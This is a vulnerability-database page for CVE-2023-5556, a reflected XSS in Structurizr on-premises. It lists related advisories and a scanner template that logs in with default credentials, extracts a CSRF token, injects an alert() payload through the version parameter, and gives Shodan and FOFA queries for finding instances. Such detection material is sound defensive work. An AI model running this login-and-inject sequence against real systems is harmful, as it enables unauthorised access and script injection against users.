| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| RXSS in onpremises version of structurizr | 3 Oct 202315:38 | – | huntr | |
| onpremises Cross-Site Scripting Vulnerability | 12 Oct 202300:00 | – | cnnvd | |
| CVE-2023-5556 | 12 Oct 202310:32 | – | cve | |
| CVE-2023-5556 Cross-site Scripting (XSS) - Reflected in structurizr/onpremises | 12 Oct 202310:32 | – | cvelist | |
| CVE-2023-5556 | 12 Oct 202311:15 | – | nvd | |
| CVE-2023-5556 Cross-site Scripting (XSS) - Reflected in structurizr/onpremises | 12 Oct 202310:32 | – | osv | |
| Cross site scripting | 12 Oct 202311:15 | – | prion | |
| PT-2023-32174 · Structurizr · Structurizr/Onpremises | 12 Oct 202300:00 | – | ptsecurity | |
| CVE-2023-5556 Cross-site Scripting (XSS) - Reflected in structurizr/onpremises | 12 Oct 202310:32 | – | vulnrichment |
id: CVE-2023-5556
info:
name: Structurizr on-premises - Cross Site Scripting
author: shankaracharya
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194.
impact: |
Authenticated attackers can inject malicious JavaScript through the version parameter in workspace URLs to steal user session tokens and execute attacks against Structurizr users.
remediation: |
Apply the latest security patches or updates provided by Structurizr to fix the XSS vulnerability.
reference:
- https://huntr.com/bounties/a3ee0f98-6898-41ae-b1bd-242a03a73d1b/
- https://github.com/structurizr/onpremises/commit/6cff4f792b010dfb1ff6a0b4ae1c6e398f8f8a18
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-5556
cwe-id: CWE-79
epss-score: 0.01222
epss-percentile: 0.65045
cpe: cpe:2.3:a:structurizr:on-premises_installation:*:*:*:*:*:*:*:*
metadata:
max-request: 5
vendor: structurizr
product: on-premises_installation
shodan-query: http.favicon.hash:1199592666
fofa-query: icon_hash=1199592666
tags: cve,cve2023,xss,structurizr,oos,authenticated,vuln
variables:
str: "{{randstr}}"
http:
- raw:
- |
GET /signin HTTP/1.1
Host: {{Hostname}}
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&_csrf={{csrf}}&hash=
- |
GET /dashboard HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /workspace/create HTTP/1.1
Host: {{Hostname}}
- |
GET /workspace/{{workspace}}/?version={{str}}%22);alert(document.domain);// HTTP/1.1
Host: {{Hostname}}
attack: pitchfork
payloads:
username:
- "structurizr"
password:
- "password"
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '<a href="/dashboard">'
- 'Sign out'
condition: and
- type: word
part: body_5
words:
- '");alert(document.domain);//'
- 'Structurizr'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="_csrf" value="([0-9a-z-]+)"'
internal: true
- type: regex
name: workspace
group: 1
part: header
regex:
- '\/workspace\/([0-9]+)\?scriptNonce='
internal: true
# digest: 4a0a0047304502204a0c7a68fef814f0aa134c5f63db1f4eadece5396e1d36934c318d4a1f78fdb1022100e66bfc5ed3618b991b9e5d771e96eb2b839d99c4cdd272b668147d16d614f624:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation